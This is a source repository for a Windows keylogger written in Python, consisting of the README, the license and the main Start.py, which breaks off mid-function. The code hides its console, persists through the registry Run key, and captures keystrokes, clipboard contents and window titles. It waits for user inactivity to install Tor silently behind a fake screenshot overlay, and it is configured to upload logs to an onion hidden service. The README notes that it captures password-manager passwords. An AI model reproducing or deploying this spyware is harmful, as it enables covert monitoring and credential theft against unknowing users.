├── LICENSE ├── README.md ├── Start.py ├── icon.ico ├── log_decryptor.py ├── logger - light.py ├── requirements.txt └── rsa_key_generator.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Ricardo Garcia 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Advanced Python Keylogger for Windows 2 | 3 | NOTE: This project should be used for authorized testing or educational purposes only. 4 | You are free to copy, modify and reuse the source code at your own risk. 5 | 6 | ### Uses 7 | Some uses of a keylogger are: 8 | - Security Testing: improving the protection against hidden key loggers; 9 | - Business Administration: Monitor what employees are doing (with their consent); 10 | - School/Institutions: Track keystrokes and log banned words in a file; 11 | - Personal Control and File Backup: Make sure no one is using your computer when you are away; 12 | - Parental Control: Track what your children are doing; 13 | - Self-analysis and assessment. 14 | 15 | ### Features 16 | - Global event hook on all (incl. On-Screen) keyboards using cross-platform library [Keyboard](https://github.com/boppreh/keyboard). The program makes no attempt to hide itself. 17 | - Pure Python, no C modules to be compiled. 18 | - 2 logging modes: 19 | - Storing logs locally and once a day sending logs to your onion hidden service (via Tor, of course, stealthily installing it); 20 | - Debug mode (printing to console). 21 | - Persistence: 22 | - Adding to Windows Startup. 23 | - Human-readable logs: 24 | - Logging keys as they actually are in your layout; cyrillic keyboard layout is fully implemented; 25 | - Logging window titles and current time where appropriate; 26 | - Backspace support (until the active window is changed); 27 | - Full upper-/ lowercase detection (capslock + shift keys). 28 | - Privacy protection: 29 | - RSA public-key encryption of logs on the fly using [PyCryptoDome](https://pycryptodome.readthedocs.io/en/latest/). 30 | 31 | ### Getting started 32 | 33 | #### System requirements 34 | - MS Windows (tested on 10). TODO: test Linux (requires sudo) and macOS support; 35 | - [Python 3](https://www.python.org/downloads/) (tested on v. 3.7.4). 36 | 37 | #### Usage 38 | 39 | ##### **Quick start** 40 | 1. `git clone https://github.com/secureyourself7/python-keylogger` 41 | 2. `cd python-keylogger` 42 | 3. Customize parameters in Start.py: url_server_upload, hidden_service_check_connection. 43 | ###### **Run as a Python script** 44 | 3. `pip install requirements.txt` (alternatively `python -m pip ...`) 45 | 4. `python Start.py` 46 | ###### **Run as an executable (7 MB)** 47 | 3. `pip install pyinstaller` 48 | 4. `pyinstaller --onefile --noconsole --icon=icon.ico Start.py` 49 | 5. `dist\Start.exe` 50 | ###### **To use RSA log encryption/decryption (optional)** 51 | 1. Generate RSA key pair (optional): `python rsa_key_generator.py`. 52 | 1. Change the public key filename / paste the key in Start.py. 53 | 1. To decrypt logs type `python log_decryptor.py`, and then follow the instructions given by the script. 54 | 55 | ##### System arguments 56 | `Start.py mode [encrypt]` 57 | - **modes**: 58 | - **local:** store the logs in a local txt file. Filename is a MD5 hash of the current date (YYYY-Mon-DD). 59 | - **debug:** write to the console. 60 | - **[optional]** 61 | - **encrypt:** enable the encryption of logs with a public key provided in Start.py. 62 | 63 | ### Video tutorials (similar but simpler projects) 64 | https://www.youtube.com/watch?v=uODkiVbuR-g 65 | https://www.youtube.com/watch?v=8BiOPBsXh0g 66 | 67 | ### Known issues 68 | - Does not capture passwords auto-typed by KeePass, however, it captures KeePass DB passwords. 69 | - See [Keyboard: Known limitations](https://github.com/boppreh/keyboard#known-limitations). 70 | Feel free to contribute to fix any problems, or to submit an issue! 71 | 72 | 73 | ### Notes 74 | Cyrillic layout is implemented, meaning support for these languages: Russian, Russian - Moldava, Azeri, Belarusian, Kazakh, Kyrgyz, Mongolian, Tajik, Tatar, Serbian, Ukrainian, Uzbek. 75 | 76 | Please note that this repo is for educational purposes only. No contributors, major or minor, are responsible for any actions made by the software. 77 | 78 | Don't really understand licenses or tl;dr? Check out the [MIT license summary](https://tldrlegal.com/license/mit-license). 79 | 80 | Distributed under the MIT license. See [LICENSE](https://github.com/secureyourself7/python-keylogger/blob/master/LICENSE) for more information. 81 | -------------------------------------------------------------------------------- /Start.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import base64 4 | import ctypes 5 | import hashlib 6 | import multiprocessing 7 | import os 8 | import random 9 | import signal 10 | import socket 11 | import stat 12 | import sys 13 | import threading 14 | import time 15 | import tkinter as tk 16 | from datetime import datetime, timedelta, date 17 | from winreg import OpenKey, SetValueEx, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ 18 | 19 | import Cryptodome.Util 20 | import keyboard # for keyboard hooks. See docs https://github.com/boppreh/keyboard 21 | import numpy as np 22 | import psutil 23 | import pywinauto.timings 24 | import requests 25 | import socks 26 | import win32api 27 | import win32con 28 | import win32console 29 | import win32event 30 | import win32gui 31 | import win32ui 32 | import winerror 33 | from Cryptodome.Cipher import PKCS1_OAEP 34 | from Cryptodome.Hash import SHA3_512 35 | from Cryptodome.PublicKey import RSA 36 | from PIL import Image, ImageGrab, ImageTk 37 | from keyboard import is_pressed 38 | from pywinauto.application import Application 39 | from win32clipboard import OpenClipboard, CloseClipboard, GetClipboardData 40 | 41 | 42 | def hide(): 43 | # Hide Console 44 | window = win32console.GetConsoleWindow() 45 | win32gui.ShowWindow(window, 0) 46 | return True 47 | 48 | 49 | if len(sys.argv) == 1: 50 | sys.argv = [sys.argv[0], 'local', 'encrypt'] 51 | # General precautions 52 | elif len(sys.argv) > 10: # limit the number of args 53 | exit(0) 54 | if any([len(k) > 260 for k in sys.argv]): # limit the length of args 55 | exit(0) 56 | 57 | 58 | # - GLOBAL SCOPE VARIABLES start - 59 | 60 | mode = sys.argv[1] 61 | if mode != "debug": 62 | hide() 63 | 64 | 65 | # Disallowing multiple instances 66 | mutex = win32event.CreateMutex(None, 1, 'mutex_var_Start') 67 | if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: 68 | mutex = None 69 | if mode == "debug": 70 | print("Multiple instances are not allowed") 71 | exit(0) 72 | 73 | 74 | # CONSTANTS 75 | PYTHON_EXEC_PATH = 'python' # used only when executable=False. 76 | # Examples: 'C:\\...\\python.exe' or 'python' if it is on your PATH. 77 | proxies = {'http': 'socks5h://127.0.0.1:9150', 78 | 'https': 'socks5h://127.0.0.1:9150'} 79 | url_server_upload = "https://3g2upl4pq6kufc4m3g2upl4pq6kufc4m.onion/upload" 80 | hidden_service_check_connection = "https://3g2upl4pq6kufc4m.onion/" #"https://3g2upl4pq6kufc4m3g2upl4pq6kufc4m.onion/check" 81 | 82 | 83 | # Add to startup for persistence 84 | def add_to_startup(): 85 | key_val = r'Software\Microsoft\Windows\CurrentVersion\Run' 86 | 87 | key2change = OpenKey(HKEY_CURRENT_USER, 88 | key_val, 0, KEY_ALL_ACCESS) 89 | if executable: 90 | reg_value_prefix, reg_value_postfix = '', '' 91 | else: 92 | reg_value_prefix = 'CMD /k "cd ' + dir_path + ' && ' + PYTHON_EXEC_PATH + ' ' 93 | reg_value_postfix = '"' 94 | reg_value = reg_value_prefix + '"' + current_file_path + '" ' + mode + \ 95 | (' encrypt' if encryption_on else '') + reg_value_postfix 96 | try: 97 | SetValueEx(key2change, "Start", 0, REG_SZ, reg_value) 98 | except Exception as e: 99 | print(e) 100 | 101 | 102 | current_file_path = os.path.realpath(sys.argv[0]) 103 | dir_path = os.path.dirname(os.path.realpath(sys.argv[0])) 104 | current_file_name = os.path.split(os.path.realpath(sys.argv[0]))[-1] 105 | 106 | if current_file_name.split(".")[-1] == 'exe': 107 | executable = True 108 | else: 109 | executable = False 110 | if "encrypt" in sys.argv: 111 | encryption_on = True 112 | add_to_startup() 113 | 114 | # RSA PUBLIC KEY FOR ENCRYPTION 115 | public_key_str = """-----BEGIN PUBLIC KEY----- 116 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEArHvo2tItnqXC9sUEUknc 117 | 3u1gbjvkt5XbAfobxHeJTdmSBFK39J7yVEJx2pSU5SSxjVO8bABCKPRo6N+1Yq8c 118 | 2BMd9yss0vuMDUbZBf92J+hSfTJldf8EupN3UZ2ncfL4/OTVEN4AZM+5aSBsWH/1 119 | TtGkXzHg+kpJicXen4deS1CebwAolvDm4pqzDPNa1mnrpQx1O5NQsJDu5vCcs5qk 120 | ElqKsqezGQQsWVt7zTfcMwLTHZNEo+RABZFCs7aYIfS50q/LjchEyjohWCpw0mgn 121 | zTrFFE0YAz+Q3B0mipKAerEx+YeBkWtNTNNdQ5SWPgBQmjpDXXKnn3LT0v/rR8jq 122 | useA1z225e9OGCKqS6MwpC0edNRHgrrRVNhcMTSgvDAword1xDaYZepnx1PH4hv6 123 | 1fRZERPLa6Ks+ngWkc56FbDMSsPYWdZkR6SHli0EvmH0ZE9kMiegF1s/IFEfDdqJ 124 | nmKiwe1aMHLjklu+gqGi9gaRhTjk9wkwvsj9WyX7PZo3/7BwpMhB44/TpE9dACIn 125 | Bi2O0c8dqB+uHIRnElliNtj9VTc1jeEoRDS8+VEjJ3uSkpM/ETcPUnhfmUVxquBk 126 | +9Iphypm0Wi5vtyH0gkZiA+VM3laPu7QfZ0LRkXHF+x5Et/S1zk8b3TF23MgkTIk 127 | st12IlGUgWqrJBemqqvir4MCAwEAAQ== 128 | -----END PUBLIC KEY-----""" 129 | public_key = bytes(public_key_str, 'utf-8') 130 | # with open("public_key.pem", "rb") as f: 131 | # public_key = f.read() 132 | 133 | # this number of characters must be typed for the logger to write the line_buffer: 134 | # (formula from Cryptodome.Cipher.PKCS1OAEP_Cipher.encypt) 135 | CHAR_LIMIT = Cryptodome.Util.number.ceil_div(Cryptodome.Util.number.size(RSA.importKey(public_key).n), 8) - \ 136 | 2 * SHA3_512.digest_size - 2 137 | MINUTES_TO_LOG_TIME = 5 # this number of minutes must pass for the current time to be logged. 138 | 139 | # general check 140 | encryption_on = True if 'encrypt' in sys.argv else False 141 | 142 | 143 | def get_clipboard_value(): 144 | clipboard_value = None 145 | try: 146 | OpenClipboard() 147 | clipboard_value = GetClipboardData() 148 | except: 149 | pass 150 | CloseClipboard() 151 | if clipboard_value: 152 | if 0 < len(clipboard_value) < 300: 153 | return clipboard_value 154 | 155 | 156 | line_buffer, window_name = '', '' 157 | 158 | clipboard_val = get_clipboard_value() 159 | if clipboard_val: 160 | clipboard_logged = clipboard_val 161 | else: 162 | clipboard_logged = '' 163 | 164 | time_logged = datetime.now() - timedelta(minutes=MINUTES_TO_LOG_TIME) 165 | count, backspace_buffer_len = 0, 0 166 | 167 | # Languages codes, taken from http://atpad.sourceforge.net/languages-ids.txt 168 | lcid_dict = {'0x436': 'Afrikaans - South Africa', '0x041c': 'Albanian - Albania', '0x045e': 'Amharic - Ethiopia', 169 | '0x401': 'Arabic - Saudi Arabia', '0x1401': 'Arabic - Algeria', '0x3c01': 'Arabic - Bahrain', 170 | '0x0c01': 'Arabic - Egypt', '0x801': 'Arabic - Iraq', '0x2c01': 'Arabic - Jordan', 171 | '0x3401': 'Arabic - Kuwait', '0x3001': 'Arabic - Lebanon', '0x1001': 'Arabic - Libya', 172 | '0x1801': 'Arabic - Morocco', '0x2001': 'Arabic - Oman', '0x4001': 'Arabic - Qatar', 173 | '0x2801': 'Arabic - Syria', '0x1c01': 'Arabic - Tunisia', '0x3801': 'Arabic - U.A.E.', 174 | '0x2401': 'Arabic - Yemen', '0x042b': 'Armenian - Armenia', '0x044d': 'Assamese', 175 | '0x082c': 'Azeri (Cyrillic)', '0x042c': 'Azeri (Latin)', '0x042d': 'Basque', '0x423': 'Belarusian', 176 | '0x445': 'Bengali (India)', '0x845': 'Bengali (Bangladesh)', '0x141A': 'Bosnian (Bosnia/Herzegovina)', 177 | '0x402': 'Bulgarian', '0x455': 'Burmese', '0x403': 'Catalan', '0x045c': 'Cherokee - United States', 178 | '0x804': "Chinese - People's Republic of China", '0x1004': 'Chinese - Singapore', 179 | '0x404': 'Chinese - Taiwan', '0x0c04': 'Chinese - Hong Kong SAR', '0x1404': 'Chinese - Macao SAR', 180 | '0x041a': 'Croatian', '0x101a': 'Croatian (Bosnia/Herzegovina)', '0x405': 'Czech', '0x406': 'Danish', 181 | '0x465': 'Divehi', '0x413': 'Dutch - Netherlands', '0x813': 'Dutch - Belgium', '0x466': 'Edo', 182 | '0x409': 'English - United States', '0x809': 'English - United Kingdom', '0x0c09': 'English - Australia', 183 | '0x2809': 'English - Belize', '0x1009': 'English - Canada', '0x2409': 'English - Caribbean', 184 | '0x3c09': 'English - Hong Kong SAR', '0x4009': 'English - India', '0x3809': 'English - Indonesia', 185 | '0x1809': 'English - Ireland', '0x2009': 'English - Jamaica', '0x4409': 'English - Malaysia', 186 | '0x1409': 'English - New Zealand', '0x3409': 'English - Philippines', '0x4809': 'English - Singapore', 187 | '0x1c09': 'English - South Africa', '0x2c09': 'English - Trinidad', '0x3009': 'English - Zimbabwe', 188 | '0x425': 'Estonian', '0x438': 'Faroese', '0x429': 'Farsi', '0x464': 'Filipino', '0x040b': 'Finnish', 189 | '0x040c': 'French - France', '0x080c': 'French - Belgium', '0x2c0c': 'French - Cameroon', 190 | '0x0c0c': 'French - Canada', '0x240c': 'French - Democratic Rep. of Congo', '0x300c': 191 | "French - Cote d'Ivoire", '0x3c0c': 'French - Haiti', '0x140c': 'French - Luxembourg', 192 | '0x340c': 'French - Mali', '0x180c': 'French - Monaco', '0x380c': 'French - Morocco', 193 | '0xe40c': 'French - North Africa', '0x200c': 'French - Reunion', '0x280c': 'French - Senegal', 194 | '0x100c': 'French - Switzerland', '0x1c0c': 'French - West Indies', '0x462': 'Frisian - Netherlands', 195 | '0x467': 'Fulfulde - Nigeria', '0x042f': 'FYRO Macedonian', '0x083c': 'Gaelic (Ireland)', 196 | '0x043c': 'Gaelic (Scotland)', '0x456': 'Galician', '0x437': 'Georgian', '0x407': 'German - Germany', 197 | '0x0c07': 'German - Austria', '0x1407': 'German - Liechtenstein', '0x1007': 'German - Luxembourg', 198 | '0x807': 'German - Switzerland', '0x408': 'Greek', '0x474': 'Guarani - Paraguay', '0x447': 'Gujarati', 199 | '0x468': 'Hausa - Nigeria', '0x475': 'Hawaiian - United States', '0x040d': 'Hebrew', '0x439': 'Hindi', 200 | '0x040e': 'Hungarian', '0x469': 'Ibibio - Nigeria', '0x040f': 'Icelandic', '0x470': 'Igbo - Nigeria', 201 | '0x421': 'Indonesian', '0x045d': 'Inuktitut', '0x410': 'Italian - Italy', 202 | '0x810': 'Italian - Switzerland', '0x411': 'Japanese', '0x044b': 'Kannada', '0x471': 'Kanuri - Nigeria', 203 | '0x860': 'Kashmiri', '0x460': 'Kashmiri (Arabic)', '0x043f': 'Kazakh', '0x453': 'Khmer', 204 | '0x457': 'Konkani', '0x412': 'Korean', '0x440': 'Kyrgyz (Cyrillic)', '0x454': 'Lao', '0x476': 'Latin', 205 | '0x426': 'Latvian', '0x427': 'Lithuanian', '0x043e': 'Malay - Malaysia', 206 | '0x083e': 'Malay - Brunei Darussalam', '0x044c': 'Malayalam', '0x043a': 'Maltese', '0x458': 'Manipuri', 207 | '0x481': 'Maori - New Zealand', '0x044e': 'Marathi', '0x450': 'Mongolian (Cyrillic)', 208 | '0x850': 'Mongolian (Mongolian)', '0x461': 'Nepali', '0x861': 'Nepali - India', 209 | '0x414': 'Norwegian (Bokmål)', '0x814': 'Norwegian (Nynorsk)', '0x448': 'Oriya', '0x472': 'Oromo', 210 | '0x479': 'Papiamentu', '0x463': 'Pashto', '0x415': 'Polish', '0x416': 'Portuguese - Brazil', 211 | '0x816': 'Portuguese - Portugal', '0x446': 'Punjabi', '0x846': 'Punjabi (Pakistan)', 212 | '0x046B': 'Quecha - Bolivia', '0x086B': 'Quecha - Ecuador', '0x0C6B': 'Quecha - Peru', 213 | '0x417': 'Rhaeto-Romanic', '0x418': 'Romanian', '0x818': 'Romanian - Moldava', '0x419': 'Russian', 214 | '0x819': 'Russian - Moldava', '0x043b': 'Sami (Lappish)', '0x044f': 'Sanskrit', '0x046c': 'Sepedi', 215 | '0x0c1a': 'Serbian (Cyrillic)', '0x081a': 'Serbian (Latin)', '0x459': 'Sindhi - India', 216 | '0x859': 'Sindhi - Pakistan', '0x045b': 'Sinhalese - Sri Lanka', '0x041b': 'Slovak', 217 | '0x424': 'Slovenian', '0x477': 'Somali', '0x042e': 'Sorbian', '0x0c0a': 'Spanish - Spain (Modern Sort)', 218 | '0x040a': 'Spanish - Spain (Traditional Sort)', '0x2c0a': 'Spanish - Argentina', 219 | '0x400a': 'Spanish - Bolivia', '0x340a': 'Spanish - Chile', '0x240a': 'Spanish - Colombia', 220 | '0x140a': 'Spanish - Costa Rica', '0x1c0a': 'Spanish - Dominican Republic', 221 | '0x300a': 'Spanish - Ecuador', '0x440a': 'Spanish - El Salvador', '0x100a': 'Spanish - Guatemala', 222 | '0x480a': 'Spanish - Honduras', '0xe40a': 'Spanish - Latin America', '0x080a': 'Spanish - Mexico', 223 | '0x4c0a': 'Spanish - Nicaragua', '0x180a': 'Spanish - Panama', '0x3c0a': 'Spanish - Paraguay', 224 | '0x280a': 'Spanish - Peru', '0x500a': 'Spanish - Puerto Rico', '0x540a': 'Spanish - United States', 225 | '0x380a': 'Spanish - Uruguay', '0x200a': 'Spanish - Venezuela', '0x430': 'Sutu', '0x441': 'Swahili', 226 | '0x041d': 'Swedish', '0x081d': 'Swedish - Finland', '0x045a': 'Syriac', '0x428': 'Tajik', 227 | '0x045f': 'Tamazight (Arabic)', '0x085f': 'Tamazight (Latin)', '0x449': 'Tamil', '0x444': 'Tatar', 228 | '0x044a': 'Telugu', '0x041e': 'Thai', '0x851': 'Tibetan - Bhutan', 229 | '0x451': "Tibetan - People's Republic of China", '0x873': 'Tigrigna - Eritrea', 230 | '0x473': 'Tigrigna - Ethiopia', '0x431': 'Tsonga', '0x432': 'Tswana', '0x041f': 'Turkish', 231 | '0x442': 'Turkmen', '0x480': 'Uighur - China', '0x422': 'Ukrainian', '0x420': 'Urdu', 232 | '0x820': 'Urdu - India', '0x843': 'Uzbek (Cyrillic)', '0x443': 'Uzbek (Latin)', '0x433': 'Venda', 233 | '0x042a': 'Vietnamese', '0x452': 'Welsh', '0x434': 'Xhosa', '0x478': 'Yi', '0x043d': 'Yiddish', 234 | '0x046a': 'Yoruba', '0x435': 'Zulu', '0x04ff': 'HID (Human Interface Device)'} 235 | 236 | latin_into_cyrillic = (u"`QWERTYUIOP[]ASDFGHJKL;'ZXCVBNM,./" + 237 | u"qwertyuiop[]asdfghjkl;'zxcvbnm,./" + 238 | u"~`{[}]:;\"'|<,>.?/@#$^&", 239 | u"ёЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ." + 240 | u"йцукенгшщзхъфывапролджэячсмитьбю." + 241 | u"ЁёХхЪъЖжЭэ/БбЮю,.\"№;:?") # LATIN - CYRILLIC keyboard mapping 242 | cyrillic_into_latin = (latin_into_cyrillic[1], latin_into_cyrillic[0]) # CYRILLIC - LATIN keyboard mapping 243 | 244 | latin_into_cyrillic_trantab = dict([(ord(a), ord(b)) for (a, b) in zip(*latin_into_cyrillic)]) 245 | cyrillic_into_latin_trantab = dict([(ord(a), ord(b)) for (a, b) in zip(*cyrillic_into_latin)]) 246 | 247 | cyrillic_layouts = ['Russian', 'Russian - Moldava', 'Azeri (Cyrillic)', 'Belarusian', 'Kazakh', 248 | 'Kyrgyz (Cyrillic)', 'Mongolian (Cyrillic)', 'Tajik', 'Tatar', 'Serbian (Cyrillic)', 249 | 'Ukrainian', 'Uzbek (Cyrillic)'] 250 | 251 | 252 | def detect_key_layout(): 253 | global lcid_dict 254 | user32 = ctypes.WinDLL('user32', use_last_error=True) 255 | curr_window = user32.GetForegroundWindow() 256 | thread_id = user32.GetWindowThreadProcessId(curr_window, 0) 257 | klid = user32.GetKeyboardLayout(thread_id) 258 | # made up of 0xAAABBBB, AAA = HKL (handle object) & BBBB = language ID 259 | # Language ID -> low 10 bits, Sub-language ID -> high 6 bits 260 | # Extract language ID from KLID 261 | lid = klid & (2 ** 16 - 1) 262 | # Convert language ID from decimal to hexadecimal 263 | lid_hex = hex(lid) 264 | try: 265 | language = lcid_dict[str(lid_hex)] 266 | except KeyError: 267 | language = lcid_dict['0x409'] # English - United States 268 | return language 269 | 270 | 271 | def get_capslock_state(): 272 | # using the answer here https://stackoverflow.com/a/21160382 273 | hll_dll = ctypes.WinDLL("User32.dll") 274 | vk = 0x14 275 | return True if hll_dll.GetKeyState(vk) == 1 else False 276 | 277 | 278 | shift_on = False # an assumption, GetKeyState doesn't work 279 | capslock_on = get_capslock_state() 280 | 281 | 282 | def update_upper_case(): 283 | global capslock_on, shift_on 284 | if (capslock_on and not shift_on) or (not capslock_on and shift_on): 285 | res = True 286 | else: 287 | res = False 288 | return res 289 | 290 | 291 | upper_case = update_upper_case() 292 | 293 | # Determine the initial keyboard layout - to fix the keyboard module bug. 294 | 295 | initial_language = detect_key_layout() 296 | 297 | 298 | # - GLOBAL SCOPE VARIABLES end - 299 | 300 | 301 | def encrypt(message_str): 302 | global public_key, CHAR_LIMIT 303 | # Import the Public Key and use for encryption using PKCS1_OAEP (RSAES-OAEP) 304 | key = RSA.importKey(public_key) 305 | cipher = PKCS1_OAEP.new(key, hashAlgo=SHA3_512) 306 | message = bytes(message_str, 'utf-8') 307 | # Use the public key for encryption 308 | if len(message) > CHAR_LIMIT: 309 | ciphertext, curr_position = b'', 0 310 | while curr_position < len(message): 311 | ciphertext += b'\n---START---' + \ 312 | base64.b64encode(cipher.encrypt(message[curr_position: curr_position + CHAR_LIMIT])) + \ 313 | b'---END---\n' 314 | curr_position += CHAR_LIMIT 315 | else: 316 | ciphertext = b'\n---START---' + base64.b64encode(cipher.encrypt(message)) + b'---END---\n' 317 | del key, cipher 318 | return ciphertext 319 | 320 | 321 | def check_internet(): 322 | protocols = ['https://', 'http://'] 323 | sites_list = ['www.google.com', 'youtube.com', 'tmall.com', 'baidu.com', 'sohu.com', 'facebook.com', 324 | 'taobao.com', 'login.tmall.com', 'wikipedia.org', 'yahoo.com', '360.cn', 'amazon.com', 'jd.com', 325 | 'weibo.com', 'sina.com.cn', 'live.com', 'pages.tmall.com', 'reddit.com', 'vk.com', 'netflix.com', 326 | 'blogspot.com', 'alipay.com', 'csdn.net', 'bing.com', 'yahoo.co.jp', 'Okezone.com', 'instagram.com', 327 | 'google.com.hk', 'office.com'] # ~30 most popular websites in the world 328 | random_protocol = random.choice(protocols) 329 | try: 330 | r_status_code = requests.get(random_protocol + random.choice(sites_list)).status_code 331 | if r_status_code == 200: 332 | return True 333 | else: 334 | return False 335 | except: 336 | try: 337 | if random_protocol == 'https://': # ensure switch to http (just in case) 338 | random_protocol = 'http://' 339 | r_status_code = requests.get(random_protocol + random.choice(sites_list)).status_code 340 | if r_status_code == 200: 341 | return True 342 | else: 343 | return False 344 | except: 345 | return False 346 | 347 | 348 | def find_file(root_folder, dir_, file): 349 | for root, dirs, files in os.walk(root_folder): 350 | for f in files: 351 | file_search = (file == f) 352 | dir_search = (dir_ in root) 353 | if file_search and dir_search: 354 | return os.path.join(root, f) 355 | return 356 | 357 | 358 | def find_file_in_all_drives(path): 359 | dir_ = os.path.split(path)[0] 360 | file = os.path.split(path)[-1] 361 | for drive in win32api.GetLogicalDriveStrings().split('\000')[:-1]: 362 | result = find_file(drive, dir_, file) 363 | if result: 364 | return result 365 | 366 | 367 | def check_if_tor_browser_is_installed(): 368 | return find_file_in_all_drives('Tor Browser\\Browser\\firefox.exe') 369 | 370 | 371 | def show_screenshot(): 372 | tk.Tk().withdraw() 373 | root = tk.Toplevel() 374 | w, h = root.winfo_screenwidth(), root.winfo_screenheight() 375 | root.overrideredirect(1) 376 | root.geometry("%dx%d+0+0" % (w, h)) 377 | root.focus_set() 378 | root.bind("", lambda e: (e.widget.withdraw(), e.widget.quit())) 379 | canvas = tk.Canvas(root, width=w, height=h) 380 | canvas.pack(in_=root) 381 | canvas.configure(background='black') 382 | screenshot = ImageGrab.grab() 383 | ph = ImageTk.PhotoImage(screenshot) 384 | canvas.create_image(w/2, h/2, image=ph) 385 | root.wm_attributes("-topmost", 1) 386 | root.mainloop() 387 | return 388 | 389 | 390 | def count_image_diff(img1, img2): 391 | s = 0 392 | if img1.getbands() != img2.getbands(): 393 | return -1 394 | for band_index, band in enumerate(img1.getbands()): 395 | m1 = np.array([p[band_index] for p in img1.getdata()]).reshape(*img1.size) 396 | m2 = np.array([p[band_index] for p in img2.getdata()]).reshape(*img2.size) 397 | s += np.sum(np.abs(m1 - m2)) 398 | return s 399 | 400 | 401 | def has_screen_changed(screenshot_1): 402 | screenshot_2 = ImageGrab.grab() 403 | diff = count_image_diff(screenshot_1, screenshot_2) 404 | if diff < 1000000: # a change significant enough 405 | return False, screenshot_2 406 | else: 407 | return True, screenshot_2 408 | 409 | 410 | def detect_user_inactivity(): 411 | # Detect user inactivity by detecting screen change + mouse movement + key press 412 | seconds_inactive = 0 413 | screenshot_1 = ImageGrab.grab() 414 | mouse_saved_pos = win32api.GetCursorPos() 415 | keys_saved_pressed = keyboard.get_hotkey_name() 416 | sleep = 20 # seconds 417 | while seconds_inactive < sleep * 9: # 3 minutes of mouse + keyboard + screen inactivity 418 | time.sleep(sleep) 419 | screen_changed, screenshot_1 = has_screen_changed(screenshot_1) 420 | mouse_pos, keys_pressed = win32api.GetCursorPos(), keyboard.get_hotkey_name() 421 | if screen_changed or mouse_saved_pos != mouse_pos or keys_saved_pressed != keys_pressed: 422 | mouse_saved_pos, keys_saved_pressed = mouse_pos, keys_pressed 423 | seconds_inactive = 0 424 | else: 425 | seconds_inactive += sleep 426 | return 427 | 428 | 429 | def install_tor_browser(): 430 | 431 | # 1. Download the installer 432 | try: 433 | r = requests.get("https://www.torproject.org/download/") 434 | if r.status_code == 200: 435 | tor_windows_url = "https://www.torproject.org" + r.text.split(".exe")[0].split("href=\"")[-1] + ".exe" 436 | else: 437 | tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe" 438 | except requests.exceptions.ConnectionError: 439 | tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe" 440 | try: 441 | tor_installer = requests.get(tor_windows_url) 442 | except requests.exceptions.ConnectionError: 443 | return 444 | installer_path = os.path.join(dir_path, tor_windows_url.split("/")[-1]) 445 | 446 | # 1.1. Wait for user inactivity 447 | detect_user_inactivity() 448 | # 1.2. Write installer to the hard disk 449 | try: open(installer_path, 'wb').write(tor_installer.content) 450 | except: return 451 | 452 | # 2. Install 453 | 454 | screenshot_process = multiprocessing.Process(target=show_screenshot, args=()) 455 | screenshot_process.start() 456 | 457 | time.sleep(15) 458 | 459 | # remove existing files 460 | installation_dir = os.path.join(dir_path, "Tor_Browser") 461 | if os.path.exists(installation_dir): 462 | try: 463 | os.remove(installation_dir) 464 | except: 465 | try: 466 | os.chmod(installation_dir, stat.S_IWRITE) 467 | os.remove(installation_dir) 468 | except: 469 | return 470 | 471 | try: 472 | app = Application(backend="win32").start(installer_path) 473 | except: 474 | screenshot_process.terminate() 475 | return 476 | try: 477 | app.Dialog.OK.wait('ready', timeout=30) 478 | app.Dialog.move_window(x=-2000, y=-2000) 479 | app.Dialog.OK.click() 480 | app.InstallDialog.Edit.wait('ready', timeout=30) 481 | app.Dialog.move_window(x=-2000, y=-2000) 482 | app.InstallDialog.Edit.set_edit_text(installation_dir) 483 | app.InstallDialog.InstallButton.wait('ready', timeout=30).click() 484 | try: 485 | app.InstallDialog.children()[0] 486 | if type(app.InstallDialog.children()[0]) == pywinauto.controls.win32_controls.ButtonWrapper: 487 | app.InstallDialog.children()[0].click() # Overwrite - Yes 488 | except: pass 489 | except pywinauto.timings.TimeoutError: 490 | app.kill() 491 | screenshot_process.terminate() 492 | return 493 | try: 494 | app.InstallDialog.CheckBox.wait('ready', timeout=120).uncheck() 495 | app.InstallDialog.CheckBox2.wait('ready', timeout=120).uncheck() 496 | app.InstallDialog.FinishButton.wait('ready', timeout=30).click() 497 | except pywinauto.timings.TimeoutError: 498 | try: 499 | app.kill() 500 | except: 501 | pass 502 | screenshot_process.terminate() 503 | return 504 | 505 | screenshot_process.terminate() 506 | 507 | # 3. Remove the installer 508 | try: 509 | os.remove(installer_path) 510 | except: 511 | try: 512 | app.kill() 513 | os.chmod(installer_path, stat.S_IWRITE) 514 | os.remove(installer_path) 515 | except: 516 | pass 517 | 518 | return installation_dir 519 | 520 | 521 | def is_program_already_open(program_path): 522 | for pid in psutil.pids(): # Iterates over all process-ID's found by psutil 523 | try: 524 | p = psutil.Process(pid) # Requests the process information corresponding to each process-ID, 525 | # the output wil look (for example) like this: 526 | if program_path in p.exe(): # checks if the value of the program-variable 527 | # that was used to call the function matches the name field of the plutil.Process(pid) 528 | # output (see one 